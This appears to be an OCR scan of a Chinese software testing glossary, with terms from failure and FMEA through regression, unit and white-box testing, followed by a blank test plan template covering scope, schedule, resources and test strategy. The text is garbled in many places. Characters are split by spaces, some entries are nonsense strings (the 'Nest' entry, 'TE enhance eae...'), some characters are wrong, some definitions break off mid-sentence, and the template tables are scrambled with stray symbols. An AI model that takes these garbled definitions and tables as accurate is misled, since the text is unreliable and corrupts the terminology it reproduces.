在 没有 测试 用 例 情 况 下 ,根据 经 验 、 猜 想 等 进行 测试 的 一 种 测试 方法 。 
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Failure 失效 

系统 或 系统 部 件 丧失 了 (在 规定 的 限度 内 ) 执 行 所 要 求 功能 的 能 力 。 

Fatal bug 致命 的 缺陷 

造成 系统 或 程序 崩 江 (Crash) 、 死 机 、 悬 挂 ,或 数据 丢失 ,或 主要 功能 完全 丧失 等 缺陷 。 

Fault injection 错误 注入 

参见 Error seeding 错误 播种 。 

Feature 产品 特性 

系统 中 满足 用 户 需求 的 某 种 功能 .表现 和 特征 。 

Fidelity BRE 

对 测试 系统 ,是 指 准确 构造 客户 的 硬件 .软件 和 网 络 环境 的 模型 和 模拟 客户 行为 的 
程度 。 

Field-reported bug 现场 报告 缺陷 

通常 由 客户 或 销售 人 员 报告 在 发 布 ,部署 或 交付 产品 时 的 缺陷 。 

Fixed or Resolved 已 修正 状态 

缺陷 被 开发 人 员 处 理 过 并 通过 开发 人 员 单 元 测试 的 状态 ,还 需要 测试 人 员 的 验证 。 

Flexibility 灵活 性 

测试 组 件 能 处 理 被 测试 系统 中 的 细小 改变 ,而 不 报告 不 存在 的 或 确实 存在 的 缺陷 的 
程度 。 
FMEA 失效 模型 和 效果 分 析 
Failure Mode and Effects Analysis 的 缩写 ,一 种 用 于 识别 和 定义 潜在 质量 风险 的 方法 ， 
该 方法 按 风险 的 优先 级 别 排序 ,并 对 每 一 个 风险 取 相 应 措施 预防 和 /或 发 现 相关 问题 。 

Functional Specification 产品 功能 规格 说 明 ( 书 ) 

产品 或 系统 要 实现 的 满足 用 户 需 求 的 各 种 功能 、 特 性 和 界面 的 描述 (文档 ) 。 

Functional tests 功能 测试 

参见 行为 测试 或 黑 盒 测 试 , 但 它 还 意味 着 集中 于 功能 正确 性 方面 的 测试 。 


Functionality 功能 性 

软件 所 实现 的 功能 达到 它 的 设计 规范 和 满足 用 户 需求 的 程度 。 
aj 

GA 通用 有 效 性 


General Availability 的 简称 ,向 所 有 用 户 推出 软件 产品 (服务 ) 的 新 版 本 。 
Grade 等 级 
对 功能 用 处 相同 但 质量 要 求 不 同 的 产品 ,过程 或 体系 所 作 的 分 类 或 分 级 。 


Granularity 粒度 
表现 一 个 事物 或 活动 特征 的 相对 大 小 、 细 节 层 次 。 颗 粒度 大 ,意味 着 对 基本 功能 逻辑 进 
行 测试 ,颗粒 度 越 小 , 则 对 测试 细节 越 关注 。 
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Identifier 标识 符 

用 以 命名 、 指 示 或 定位 的 符号 ,标识 符 可 以 和 数据 结构 数据 项 或 程序 位 置 相 关联 。 

Infrastructure 基础 设施 

组 织 运行 所 必需 的 一 组 设施 .设备 和 服务 。 

Implementation requirement 实现 需求 

对 软件 设计 的 实现 产生 影响 或 限制 的 任何 需求 。 例 如 ,设计 描述 .软件 开发 标准 、 程 序 
设计 语言 需求 .软件 质量 保证 标准 等 。 

Inspection 检验 

通过 观察 和 判断 ,必要 时 结合 测量 .试验 所 进行 的 符合 性 评价 。 

Integration testing 集成 测试 

在 单元 测试 的 基础 上 ,按照 设计 要 求 ,将 所 有 单元 (模块 /组 件 ) 组 装 成 为 系统 而 进行 的 
测试 ,通过 测试 ,可 以 发 现 单元 之 间 关系 和 接口 中 的 错误 。 

Interoperability 互 操作 性 

两 个 或 多 个 系统 交换 信息 并 相互 使 用 已 交换 的 信息 的 能 力 或 可 互相 操作 的 能 力 。 

Isolation 隔离 

对 缺陷 进行 分 析 而 找 出 导致 问题 的 根本 原因 。 如 通过 重复 那些 用 于 再 现 缺陷 的 步骤， 
并 改变 系统 配置 .权限 .负载 等 环境 因素 或 条 件 , 从 而 识别 影响 缺陷 的 因素 。 


i 
Log file 记录 文件 
包含 测试 运行 时 实际 输出 的 文件 。 
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Maintainable 可 维护 性 

由 于 用 户 新 的 需求 .功能 增强 或 所 发 现 的 问题 ,对 已 开始 使 用 的 系统 修改 的 难 易 程度 。 

Major bug 一 般 的 缺陷 

这 样 的 软件 缺陷 虽然 不 影响 系统 的 基本 使 用 ,但 没有 很 好 地 实现 功能 ,没有 达到 预期 效 
果 , 如 次 要 功能 部 分 丧失 .提示 信息 不 太 准 确 . 用 户 界面 不 友好 、 操 作 时 间 长 等 问题 。 

Management system 管理 体系 

建立 方针 和 目标 并 实现 这 些 目标 的 体系 。 

Measurement control system 测量 控制 体系 

为 完成 计量 确认 并 持续 控制 测量 过 程 所 必需 的 一 组 相互 关联 或 相互 作用 的 要 素 。 

Measurement process 测量 过 程 


确定 测量 值 的 一 组 操作 。 


Metrological characteristic 计量 特性 

可 影响 测量 结果 的 区 分 的 特征 。 

Metrological confirmation 计量 确认 

为 了 确保 测量 设备 处 在 符合 其 预期 使 用 要 求 的 状态 所 要 求 的 一 组 操作 。 

Milestone 里 程 碑 

项 目 中 完成 阶段 性 工作 的 标志 ,即将 一 个 过 程 性 的 任务 用 一 个 结论 性 的 标志 来 描述 任 
务 明确 的 起 止 点 。 

Minor bug 微小 的 缺陷 

对 功能 几乎 没有 影响 ,产品 及 属性 仍 可 使 用 ,如 错别字 文字 排列 不 对 齐 等 一 些小 问题 。 

Modified Top-down Integration 改进 的 自 顶 向 下 集成 

集成 测试 中 的 一 种 混合 策略 。 


Modularity 模块 性 

软件 由 若干 部 分 组 成 的 离散 程度 , 即 表明 改变 一 个 组 成 部 分 时 对 另外 的 组 成 部 分 的 影 
响 程 度 。 

Module 模块 

是 离散 的 程序 单元 , 且 对 于 编译 .与 其 他 单元 相 结合 是 可 识别 的 。 

MTBF 失效 平均 时 间 

Mean Time Between Failure 的 缩写 ,其 数据 预测 系统 的 现场 错误 率 ,暗示 了 稳定 性 、 可 


MTTR 平均 维修 时 间 
Mean Time to Repair 的 缩写 。 这 个 数字 表明 了 系统 的 可 恢复 性 。 
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Necessity condition 必要 性 条 件 
在 测试 理论 中 ,采用 导致 程序 出 现 错误 内 部 状态 的 值 来 检验 缺陷 的 需求 。 


Nest RE 
HEB — PMS Pai BEB SA PDE PRES JER A 
我 迭代 。 


Organizational structure 组 织 结构 

人 员 的 职责 .权限 和 相互 关系 的 安排 。 

Orthogonal 正 交 

两 个 或 多 个 变量 之 间 的 关系 描述 ,或 集合 中 元 素 值 互 不 影响 的 一 组 集合 元 素 之 间 关 系 
的 描述 。 

Output 输出 

作为 子 系统 执行 结果 的 任何 内 容 ,包括 文件 输出 、 函 数 返回 值 等 。 


Peer review 同 级 评审 

在 一 个 项 目 组 内 ,组 员 之 间 相互 阅读 和 审查 对 方 的 代码 ,缺陷 报告 .计划 书 等 。 

Performance 性 能 

在 指定 条 件 下 ,用 软件 实现 某 种 功能 所 需 的 计算 机 资源 (包括 时 间 ) 的 有 效 程度 。 

Performance Test 性 能 测试 

确定 系统 运行 时 的 性 能 表现 ,如 得 到 运行 速度 、 响 应 时 间 、 占 有 系统 资源 等 方面 的 系统 
数据 。 

Pilot testing 引导 测试 

验证 系统 在 真实 硬件 和 客户 基础 上 处 理 典型 操作 的 能 力 。 其 测试 通过 后 可 以 开始 系统 
的 部 署 。 

Preventive action 预防 措施 

为 消除 潜在 不 合格 或 其 他 潜在 不 期 望 情况 的 原因 所 采取 的 措施 。 

Priority 优先 权 

缺陷 要 被 修复 的 重要 性 ,从 用 户 的 角度 看 ,是 指 缺 陷 对 系统 的 可 行 性 和 可 接受 性 的 
影响 。 

Procedure 程序 过 程 

为 进行 某 项 活动 或 过 程 所 规定 的 途径 。 

Program Specification 概要 说 明 

Process 过 程 

将 输入 转化 为 输出 的 相互 关联 或 相互 作用 的 ,有 目标 的 .有 组 织 的 .有 次 序 的 一 系列 活动 。 

Product 产品 

Product testing 产品 测试 

参见 集成 测试 。 

Project 项 目 

由 一 组 有 起 止 时 间 的 、 相 互 协调 的 受 控 活动 所 组 成 的 特定 过 程 , 该 过 程 要 达到 符合 规定 
要 求 的 目标 ,并 受到 时 间 、 成 本 和 资源 等 的 约束 。 
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Qualification process 鉴定 过 程 

证 实 满足 规定 要 求 的 能 力 的 过 程 。 

Quality 质量 

是 产品 或 服务 满足 固有 特性 (明示 或 暗示 的 ) 所 要 求 的 程序 或 其 能 力 的 特性 和 特征 的 
集合 。 

Quality assurance 质量 保证 

通过 对 软件 产品 和 活动 有 计划 地 进行 评审 和 审计 来 确保 任何 经 过 认可 的 标准 和 步骤 都 
被 遵循 ,并 且 保 证 问题 被 及 时 发 现 和 处 理 。 质 量 管理 的 一 部 分 ,致力 于 提供 能 满足 质量 要 求 


的 信任 。 

Quality characteristic 质量 特性 

有 关 要 求 的 产品 .过 程 或 体系 的 固有 特性 。 

Quality control 质量 控制 

质量 管理 的 一 部 分 ,致力 于 满足 质量 要 求 。 

Quality improvement 质量 改进 

质量 管理 的 一 部 分 ,致力 于 增强 满足 质量 要 求 的 能 力 。 

Quality management 质量 管理 

指导 和 控制 组 织 的 关于 质量 的 相互 协调 的 活动 。 

Quality management system 质量 管理 体系 

Quality manual 质量 手册 

规定 组 织 质量 管理 体系 的 文件 。 

Quality metric 质量 度量 

对 软件 所 具有 的 、 影 响 其 质量 的 给 定 属 性 所 进行 的 定量 测量 。 

Quality objective 质量 目标 

Quality planning 质量 策划 

质量 管理 的 一 部 分 ,致力 于 制定 质量 目标 并 规定 必要 作业 过 程 和 相关 资源 以 实现 质量 
目标 。 

Quality policy 质量 方针 

由 组 织 的 最 高 管理 者 正式 发 布 的 该 组 织 总 的 质量 意图 和 质量 方向 。 

Quality risk management 质量 风险 管理 

以 预防 或 发 现 并 消除 风险 为 目的 ,识别 ,优化 ,管理 被 测试 系统 质量 风险 的 过 程 。 
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Record 记录 

阐明 所 取得 的 结果 或 提供 所 完成 活动 的 证 据 的 文件 。 

Recovery testing 恢复 测试 

对 系统 崩溃 或 失效 之 后 的 系统 和 数据 重新 恢复 的 能 力 和 效率 。 

Regression tests 回归 测试 

用 于 验证 改变 了 的 系统 或 其 组 件 仍 然 保 持 应 有 的 特性 , 即 保证 不 会 因为 处 理 存 在 的 缺 
陷 .添加 产品 新 功能 等 进行 的 程序 修改 而 导致 原 有 正常 功能 的 失效 。 

regression test gap 回归 测试 间距 

对 于 被 测试 系统 任何 给 定 的 改变 或 修改 ,整个 测试 系统 提供 的 测试 范围 和 实际 重新 执 
行 的 部 分 测试 系统 提供 的 测试 范围 之 间 的 差别 。 

Release 产品 发 布 

完成 当前 软件 版 本 的 开发 ,可 以 推 向 市 场 。 

Reliability 可 靠 性 

质量 的 一 种 特性 ,在 规定 的 时 间 和 条 件 下 ,软件 所 能 维持 其 性 能 水 平 的 程度 。 


Reporting logs 报告 日 志 

测试 工具 产生 的 原始 测试 输出 ,如 通过 Soft-ICE 所 捕获 的 程序 运行 状态 的 文本 文件 。 
Requirement 要 求 

明示 的 、 通 常 隐 含 的 或 必须 履行 的 需求 或 期 望 。 

Reusability 可 重用 性 复 用 率 

一 个 模块 可 在 多 种 应 用 中 加 以 利用 的 程度 。 

Review 评审 

为 确定 主题 事项 达到 规定 目标 的 适宜 性 、 充 分 性 和 有 效 性 所 进行 的 活动 。 

Root cause 根本 原因 

缺陷 发 生 的 潜在 原因 ,可 能 与 观察 到 的 缺陷 表象 不 一 致 。 


Scalability 可 扩展 性 
软件 系统 可 以 在 不 同 规模 、 不 同 档次 的 硬件 平台 上 运行 的 能 力 。 
script 脚本 


自动 测试 工具 的 程序 指令 ,程序 指令 由 解释 性 语言 (被 称 为 脚本 语言 ) 写成。 

Security 安全 性 保密 性 

对 软件 系统 的 保护 能 力 ,以 防止 其 受到 意外 的 或 蓄意 的 存 取 、 使 用 、 修 改 .毁坏 或 泄密 。 

Security testing 安全 测试 

发 现 系统 在 应 付 非 授 权 的 内 部 /外 部 访问 ,故意 的 损坏 时 所 存在 的 问题 。 

Service manageability 可 维护 性 

在 一 个 运行 软件 中 , 当 环 境 改变 或 软件 发 生 缺 陷 时 ,进行 相应 修改 所 做 努力 的 程度 。 

Severity 严重 性 

缺陷 对 被 测试 系统 的 影响 ,在 终端 客户 条 件 下 发 生 的 可 能 性 或 失败 妨碍 系统 使 用 的 程度 。 

SDLC, Software Development Life Cycle 软件 开发 生命 周期 

从 需求 分 析 ,设计 ,编程 ,测试 到 维护 的 整个 软件 开发 过 程 。 

Software development process 软件 开发 过 程 

Software engineering 软件 工程 

为 解决 软件 开发 中 各 种 问题 所 采用 的 系统 方法 和 工程 技术 .工具 等 一 门 学 科 。 

Specification 规范 

Stability 稳定 性 

在 有 干扰 或 破坏 事件 影响 下 仍 能 保持 不 变 的 能 力 或 返回 到 原始 状态 的 能 力 。 

Standard combining rules 标准 组 合 规则 

组 合 测试 需求 来 构成 测试 规格 说 明 的 方式 。 每 个 测试 需求 都 至 少 使 用 一 次 ,每 个 测试 
规格 说 明 要 满足 尽 可 能 多 的 合理 的 测试 需求 。 

Stress testing 压力 测试 

检查 系统 在 大 负荷 条 件 下 系统 运行 的 情况 。 

structured Programming 结构 化 程序 设计 

一 种 定义 良好 的 软件 开发 技术 ,采用 自 顶 向 下 的 设计 和 实现 方法 ,并 具有 结构 化 程序 的 


控制 构造 。 

Structural test 结构 测试 

基于 代码 的 或 程序 结构 内 部 的 测试 技术 和 方法 ,又 称 为 白 盒 测试 。 

Stub 桩 模块 

对 顶层 或 上 层 模 块 进行 集成 测试 中 ,所 编制 的 替代 下 层 模块 的 程序 。 

Supplier 供 方 

提供 产品 的 组 织 或 个 人 。 

System testing 系统 测试 

软件 测试 的 一 个 阶段 ,将 软件 放 在 整个 计算 机 环境 下 ,包括 软 硬 件 平台 、 某 些 支 持 软 件 、 
数据 和 人 员 等 ,在 实际 运行 环境 下 进行 一 系列 的 可 用 性 测试 。 
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TBD 待定 

To Be Determined 的 简称 ,在 测试 文档 中 表示 一 项 进行 中 的 工作 的 有 用 标记 。 

Test automation 测试 自动 化 

通过 软件 工具 自动 执行 软件 测试 的 方法 。 

Test case 测试 用 例 

为 了 特定 目的 (如 考察 特定 程序 路 径 或 验证 是 否 符合 特定 的 需求 ) 而 设计 的 测试 数据 及 
与 之 相关 的 测试 规程 的 一 个 特定 的 集合 ,或 称 为 有 效 地 发 现 软件 缺陷 的 最 小 测试 执行 单元 。 
在 IEEE829 中 ,被 称 为 测试 规格 说 明和 测试 过 程 。 

Test case library 测试 用 例 库 

独立 的 .可 重用 的 测试 用 例 集合 。 

Test coverage 测试 覆盖 率 

衡量 系统 被 测试 率 的 程度 ,这 种 度量 可 以 表示 为 结构 化 元 素 (如 代码 行 ) 或 功能 点 被 覆 
盖 的 百分比 。 

Test environment 测试 环境 

进行 测试 的 环境 ,包括 测试 平台 测试 基础 设施 .测试 实验 室 和 其 他 设施 。 

Test escape 测试 遗漏 

在 测试 过 程 中 任何 应 该 被 捕捉 却 没有 被 捕捉 到 的 现场 报告 缺陷 。 

Test phase 测试 阶段 

指定 特殊 的 质量 风险 集合 并 由 一 个 或 更 多 测试 通过 组 成 的 测试 期 。 

Test platform 测试 平台 

被 测试 系统 的 任何 硬件 或 软件 支持 环境 ,不 是 测试 对 象 。 

Test specification 测试 规格 说 明 

测试 规格 说 明 是 用 来 测试 子 系统 的 一 个 特定 输入 集 。 测 试 规格 说 明 满足 一 个 或 多 个 测 
试 需求 。 例 如: 单个 测试 规格 说 明 A 王 一 1 和 B=0 可 以 满足 A 氨 B 和 A<O 两 个 测试 需 
求 。 测 试 规格 说 明 还 包含 根据 这 些 值 执行 子 系统 后 ,预期 应 得 到 结果 的 精确 描述 。 

Test suite 测试 包 测试 套件 

一 组 测试 用 例 的 集合 、 执 行 框架 ,是 组 织 测试 用 例 的 方法 ,通过 测试 用 例 组 合 可 以 创造 


新 的 测试 条 件 或 满足 某 个 特定 的 测试 目标 。 

Test system 测试 系统 

集成 的 和 可 维护 项 的 集合 ,用 于 在 被 测试 的 软件 或 硬件 中 发 现 ,再 生产 、 隔 离 ,描述 和 管 
理 缺 陷 。 这 些 项 由 测试 环境 ,测试 过 程 和 测试 组 件 组 成 。 

Test to fail 基于 失效 的 测试 

以 尽 可 能 多 地 发 现 系 统 功 能 失效 、 问 题 为 目的 ,在 设计 、 开 发 和 执行 测试 时 所 涉及 的 
想法 。 

Test to pass 基于 通过 的 测试 

以 证 明 符合 需求 和 操作 的 正确 性 为 目的 ,在 设计 、 开 发 和 执行 测试 时 所 涉及 的 想法 。 主 
要 用 于 验收 测试 。 

Test tool 测试 工具 

应 用 于 测试 用 例 执行 ,安装 或 撤销 测试 环境 、 创 造 测试 条 件 或 者 度量 测试 结果 的 过 程 中 
的 软件 系统 或 程序 。 

Testability 可 测试 性 

软件 的 一 种 性 质 , 表 明 既 便于 测试 准则 的 建立 又 便于 就 这 些 准 则 对 软件 进行 评价 的 
程度 。 

Tolerance Test 容错 测试 

对 系统 在 各 种 异常 条 件 下 提供 继续 操作 的 能 力 的 测试 。 

Traceability 可 追溯 性 

追溯 所 考虑 对 象 的 历史 .应 用 情况 或 所 处 场所 的 能 力 。 
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Unit testing 单元 测试 

指 一 段 代码 一 个 函数 或 子 程序 ,模块 或 组 件 的 基本 测试 ,一 般 由 开发 者 执行 ,采用 白 盒 
测试 方法 ,可 从 程序 的 内 部 结构 出 发 设计 测试 用 例 。 

Usability 可 用 性 

软件 在 用 户 学 习 、 操 作 和 理解 等 方面 所 作 努 力 的 程度 ,如 安装 性 .使 用 性 .界面 友好 性 
等 ,并 能 否 适 用 于 不 同 特点 的 用 户 , 包 括 对 残疾 人 \ 有 缺陷 的 人 能 提供 产品 使 用 的 有 效 途径 
或 手段 。 


Validation 确认 

通过 提供 客观 证 据 对 特定 的 预期 使 用 或 应 用 要 求 已 得 到 满足 的 认定 ,要 能 保证 所 生产 
的 软件 可 追溯 到 用 户 需 求 的 一 系列 活动 。 

Verification 验证 

即 检验 软件 是 否 已 正确 地 实现 了 产品 规格 书 所 定义 的 系统 功能 和 特性 。 验 证 过 程 提供 
证 据 表 明 软 件 相关 产品 与 所 有 生命 周期 活动 的 要 求 ( 如 正确 性 ,完整 性 一致 性 ,准确 性 等 
相 一 致 。 


Version 版 本 
某 一 配置 项 的 一 个 可 标识 的 实例 。 


White-box tests 白 盒 测试 

在 已 知 产品 的 内 部 工作 过 程 (如 计算 机 程序 的 结构 和 语句 ) ,检验 程序 中 的 变量 状态 、 语 
句 、 路 径 、 条 件 、 人 逻辑 结 构 等 是 否 符合 设计 规格 要 求 ,或 达到 预定 要 求 的 结果 。 参 见 结构 
测试 。 

Walk-through 走 查 

评审 的 一 种 方式 , 指 由 某 个 设计 /开发 者 通读 已 书写 的 设计 或 编码 ,其 他 成 员 负 责 提出 
问题 并 对 有 关 技 术 、 风格 .可 能 的 错误 .是 否 有 违背 开发 标准 的 地 方 等 进行 评论 。 
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1.0 XX X X4EX X AX XA 


(A- 添 加 ,M- 修 改 ,D- 删 除 ) 
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TE enhance eae teteeeneate caret saaaes 


1 简介 


1.1 目的 


去 项 目 名称 之 的 这 一 “测试 计划 ”文档 有 助 于 实现 以 下 目标 : 
[确定 现 有 项 目的 信息 和 应 测试 的 软件 构件 。 

列 出 推荐 的 测试 需求 (高 级 需求 ) 。 

推荐 可 采用 的 测试 策略 ,并 对 这 些 策略 加 以 说 明 。 

确定 所 需 的 资源 ,并 对 测试 的 工作 量 进行 估计 。 

列 出 测试 项 目的 可 交付 元 素 。] 


12 背景 


[对 测试 对 象 (构件 .应 用 程序 .系统 等 ) 及 其 目标 进行 简要 说 明 。 需 要 包括 的 信息 有 主 
要 的 功能 和 性 能 、 测 试 对 象 的 构架 以 及 项 目的 简 史 。] 


1.3 范围 


[描述 测试 的 各 个 阶段 (如 单元 测试 、 集 成 测试 或 系统 测试 ), 并 说 明 本 计划 所 针对 的 测 
试 类 型 (如 功能 测试 或 性 能 测试 ) 。 

简要 地 列 出 测试 对 象 中 将 接受 测试 或 将 不 接受 测试 的 那些 性 能 和 功能 。 

如 果 在 编写 此 文档 的 过 程 中 做 出 的 某 些 假设 可 能 会 影响 测试 设计 、 开 发 或 实施 , 则 列 出 
所 有 这 些 假设 。 

列 出 可 能 会 影响 测试 设计 、 开 发 或 实施 的 所 有 约束 、 风 险 或 意外 事件 。] 


2 测试 参考 文档 和 测试 提交 文档 


2.1 测试 参考 文档 
下 表 列 出 了 制定 测试 计划 时 所 使 用 的 文档 ,并 标明 了 各 文档 的 可 用 性 。 


[ 注 : 可 适当 地 删除 或 添加 文档 项 。] 

文档 (版 本 /日 期 ) 已 创建 或 可 用 已 被 接收 或 已 经 过 复审 | 作者 或 来 源 备注 
软件 需求 定义 是 口 #0 #20 否 口 
软件 系统 分 析 是 口 否 是 口 否 
软件 概要 设计 #0 #0 是 口 @L 
软件 详细 设计 是 口 否 是 口 否 

求 定义 #0 SL #20 @L 

硬件 结构 设计 (包含 PCB) 是 否 是 口 否 
硬件 测试 需求 #0 否 口 #0 #0 


文档 (版 本 /日 期 ) 


已 被 接收 或 已 经 过 复审 


作者 或 来 源 


续 表 
备注 


USB 驱动 设计 


模块 开发 手册 


系统 集成 方案 


测试 方案 


用 户 操作 手册 


安装 指南 


2.2 测试 提交 文档 
[下 面 应 当 列 出 在 测试 阶段 结束 后 ,所 有 可 提交 的 文档 .] 


3 测试 进度 


测试 活动 


计划 开始 日 期 


BD) AD | Po | | A) A 


实际 开始 日 期 


OX) OX | ON | ON) od | od 


结束 日 期 


制定 测试 计划 


设计 测试 


集成 测试 


系统 测试 


性 能 测试 


安装 测试 


用 户 验收 测试 


对 测试 进行 评估 


产品 发 布 
4 测试 资源 


4.1 AJAH 


下 表 列 出 了 在 此 项 目的 人 员 配 备 方面 所 作 的 各 种 假定 。 
[ 注 : 可 适当 地 删除 或 添加 角色 项 。] 


fi ë 


所 推荐 的 最 少 资源 (所 分 配 的 专职 角色 数量 ) 


具体 职责 或 注释 


4.2 测试 环境 


下 表 列 出 了 测试 的 系统 环境 。 


TAF REE BE RE RES) 


硬件 环境 (网 络 .设备 等 ) 


4.3 测试 工具 
下 表 列 出 了 测试 使 用 的 工具 。 


用 g T R 生产 厂商 / 自 产 版 本 


5 系统 风险 .优先 级 


[简要 描述 测试 阶段 的 风险 和 处 理 的 优先 级 。] 
6 测试 策略 


[测试 策略 提供 了 对 测试 对 象 进行 测试 的 推荐 方法 。 对 于 每 种 测试 ,都 应 提供 测试 说 
明 , 并 解释 其 实施 的 原因 。 

制定 测试 策略 时 所 考虑 的 主要 事项 有 将 要 使 用 的 技术 及 判断 测试 何 时 完成 的 标准 。 

下 面 列 出 了 在 进行 每 项 测试 时 需 考虑 的 事项 , 除 此 之 外 ,测试 还 只 应 在 安全 的 环境 中 使 
用 已 知 的 、 有 控制 的 数据 库 来 执行 。] 

注意 : 不 实施 某 种 测试 , 则 应 该 用 一 名 话 加 以 说 明 ,并 陈述 这 样 的 理由 。 例 如 ,“ 将 不 实 
施 该 测试 。 该 测试 本 项 目 不 适 用 。” 


6.1 数据 和 数据 库 完整 性 测试 


[在 去 项 目 名 称 之 中 ,数据库 和 数据 库 进 程 应 作为 一 个 子 系统 来 进行 测试 。 在 测试 这 些 
子 系统 时 ,不 应 将 测试 对 象 的 用 户 界面 用 作 数 据 的 接口 。 对 于 数据 库 管 理 系统 (DBMS) ,还 
需要 进行 深入 的 研究 ,以 确定 可 以 支持 以 下 测试 的 工具 和 技术 。] 


测试 目标 : [确保 数据 库 访 问 方法 和 进程 正常 运行 ,数据 不 会 遭 到 损坏 。] 
测试 范围 : 


[调用 各 个 数据 库 访问 方法 和 进程 ,并 在 其 中 填充 有 效 的 和 无 效 的 数据 (或 对 数 
据 的 请 求 )。 

检查 数据 库 , 确 保 数据 已 按 预 期 的 方式 填充 ,并 且 所 有 的 数据 库 事件 已 正常 发 
生 ; 或 者 检查 所 返回 的 数据 ,确保 正当 的 理由 检索 到 了 正确 的 数据 。] 


技术 : 


开始 标准 : 


BER 
完成 标准 : [所 有 的 数据 库 访问 方法 和 进程 都 按照 设计 的 方式 运行 ,数据 没有 遭 到 损坏 .] 
测试 重点 和 优先 级 : 
[测试 可 能 需要 DBMS 开发 环境 或 驱动 程序 在 数据 库 中 直接 输入 或 修改 数据 。 
进程 应 该 以 手工 方式 调用 。 

需 考 虑 的 特 项 : 

Seana 应 使 用 小 型 或 最 小 的 数据 库 ( 记 录 的 数量 有 限 ) 来 使 所 有 无 法 接受 的 事件 具有 更 
大 的 可 视 度 。] 

6.2 接口 测试 

测试 日 标 : 确保 接口 调用 的 正确 性 

测试 范 所 有 软件 、 硬 件 接口 ,记录 输入 输出 数据 

技术 : 

开始 标准 : 

完成 标准 : 

测试 重点 和 优先 级 : 

需 考 虑 的 特殊 事项 : 接口 的 限制 条 件 

6.3 ”集成 测试 


[集成 测试 一 一 主要 目的 是 检测 系统 是 否 达到 需求 ,对 业务 流程 及 数据 流 的 处 理 是 否 符 
合 标准 ,检测 系统 对 业务 流 处 理 是 否 存 在 逻辑 不 严谨 及 错误 ,检测 需求 是 否 存 在 不 合理 的 标 
准 及 要 求 。 此 阶段 测试 基于 功能 完成 的 测试 。] 


测试 目标 ， 检测 需求 中 业务 流程 ,数据 流 的 正确 性 。 
测试 范围 需求 中 明确 的 业务 流程 ,或 组 合 不 同 功 能 模块 而 形成 一 个 大 的 功能 。 
[利用 有 效 的 和 无 效 的 数据 来 执行 各 个 用 例 .用 例 流 或 功能 ,以 核实 以 下 内 容 
在 使 用 有 效 数据 时 得 到 预期 的 结果 。 
在 使 用 无 效 数据 时 显示 相应 的 错误 消息 或 警告 消息 。 
各 业务 规则 都 得 到 了 正确 的 应 用 .] 
开始 标准 : 在 完成 某 个 集成 测试 时 必须 达到 标准 。 
en [所 计划 的 测试 已 全 部 执行 。 
PA 所 发 现 的 缺陷 已 全 部 解决 .] 
ae ae z T ae = 
EUERE Te ne na 
定 或 He HE 试 的 实 fj 造成 影响 的 事项 或 因素 (内 部 的 
aeea, | [确定 或 说 明 屠 些 将 对 功能 测试 的 实施 和 执行 造成 影响 的 事项 或 因素 (内 部 的 或 


6.4 功能 测试 


外 部 的 )。] 


[对 测试 对 象 的 功能 测试 应 侧重 于 所 有 可 直接 追踪 到 用 例 或 业务 功能 和 业务 规则 的 测 
试 需求 。 这 种 测试 的 目标 是 核实 数据 的 接受 、 处 理 和 检索 是 否 正确 ,以 及 业务 规则 的 实施 是 


否 恰 当 。 此 类 测试 基于 黑 盒 技术 ,该 技术 通过 图 形 用 户 界面 (GUI) 与 应 用 程序 进行 交互 ,并 
对 交互 的 输出 或 结果 进行 分 析 , 以 此 来 核实 应 用 程序 及 其 内 部 进程 。 以 下 为 各 种 应 用 程序 
列 出 了 推荐 使 用 的 测试 概要 。] 


测试 目标 : [确保 测试 的 功能 正常 ,其 中 包括 导航 数据 输入 处理 和 检索 等 功能 。] 
测试 范围 : 
[利用 有 效 的 和 无 效 的 数据 来 执行 各 个 用 例 .用例 流 或 功能 ,以 核实 以 下 内 容 : 
ER: 在 使 用 有 效 数据 时 得 到 预期 的 结果 。 
在 使 用 无 效 数据 时 显示 相应 的 错误 消息 或 警告 消息 。 
各 业务 规则 都 得 到 了 正确 的 应 用 ,J 
开始 标准 : 
完成 标准 : 
测试 重点 和 优先 级 : 
[确定 或 说 明 那 些 将 对 功能 测试 的 实施 和 执行 造成 影响 的 事项 或 因素 (内 部 的 或 


需 考虑 的 特殊 事项 : 


外 部 的 )。] 


6.5 用 户 界面 测试 


[用 户 界面 (UD 测试 用 于 核实 用 户 与 软件 之 间 的 交互 。UI 测试 的 目标 是 确保 用 户 界 
面 会 通过 测试 对 象 的 功能 来 为 用 户 提供 相应 的 访问 或 浏览 功能 。 另 外 ,UI 测试 还 可 确保 
UI 中 的 对 象 按照 预期 的 方式 运行 ,并 符合 公司 或 行业 的 标准 。] 


[核实 以 下 内 容 : 


通过 测试 进行 的 浏览 可 正确 反映 业务 的 功能 和 需求 ,这 种 浏览 包括 窗口 与 窗口 


测试 日 标 : 之 间 ,字段 与 字段 之 间 的 浏览 ,以 及 各 种 访问 方法 (Tab 键 、 鼠 标 移动 和 快捷 键 ) 
的 使 用 。 
窗口 的 对 象 和 特征 (例如 ,菜单 大 小 \ 位 置 \ 状 态 和 中 心 ) 都 符合 标准 。] 

测试 范围 : 

技术 ， [为 每 个 窗口 创建 或 修改 测试 ,以 核实 各 个 应 用 程序 窗口 和 对 象 都 可 正确 地 进行 

浏览 ,并 处 于 正常 的 对 象 状态 。] 

开始 标准 : 

完成 标准 : [成 功 地 核实 出 各 个 窗口 都 与 基准 版 本 保持 一 致 ,或 符合 可 接受 标准 。] 

测试 重点 和 优先 级 : 

需 考虑 的 特殊 事项 :| [并 不 是 所 有 定制 或 第 三 方 对 象 的 特征 都 可 访问 。] 


6.6 性 能 评测 


[性 能 评测 是 一 种 性 能 测试 , 它 对 响应 时 间 、 事 务 处 理 速 率 和 其 他 与 时 间 相 关 的 需求 进 
行 评测 和 评估 。 人 性 能 评测 的 目标 是 核实 性 能 需求 是 否 都 已 满足 。 实 施 和 执行 性 能 评测 的 目 
的 是 将 测试 对 象 的 性 能 行为 当 作 条 件 ( 例 如 工作 量 或 硬件 配置 ) 的 一 种 函数 来 进行 评测 和 


注 : 以 下 所 说 的 事务 是 指 “ 逻 辑 业 务 事务 ”。 这 种 事务 被 定义 为 将 由 系统 的 某 个 Actor 
通过 使 用 测试 对 象 来 执行 的 特定 用 例 , 添 加 或 修改 给 定 的 合同 。] 


[核实 所 指定 的 事务 或 业务 功能 在 以 下 情况 下 的 性 能 行为 : 


MIRI: 正常 的 预期 工作 量 、 预 期 的 最 繁重 工作 量 .] 
测试 范围 
[使 用 为 功能 或 业务 周期 测试 制定 的 测试 过 程 。 
通过 修改 数据 文件 来 增加 事务 数量 ,或 通过 修改 脚本 来 增加 每 项 事务 的 迭代 
数量 。 
